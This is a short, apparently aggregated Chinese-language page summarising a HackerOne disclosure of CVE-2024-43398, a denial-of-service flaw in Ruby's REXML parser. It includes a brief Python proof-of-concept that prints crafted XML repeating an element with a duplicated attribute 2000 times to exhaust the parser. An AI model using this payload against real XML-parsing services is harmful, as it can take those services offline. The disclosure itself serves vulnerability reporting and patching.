CVE-2024-43398: DoS vulnerability in REXML
该报告还没有中文解读。
原文摘录
摘自原文(1001 字符中的一小部分)
This is a vulnerability due to poor performance when parsing specially crafted xml with REXML.
原文中的代码
start = "" middle = "<a xml:b=\"\" b=\"\">" + "<D>" * 1 end = "" print(start) COUNT = 2000 for _ in range(COUNT): print(middle) print(end)
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Internet Bug Bounty 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @l33thaxor · 版权归作者与 Internet Bug Bounty 所有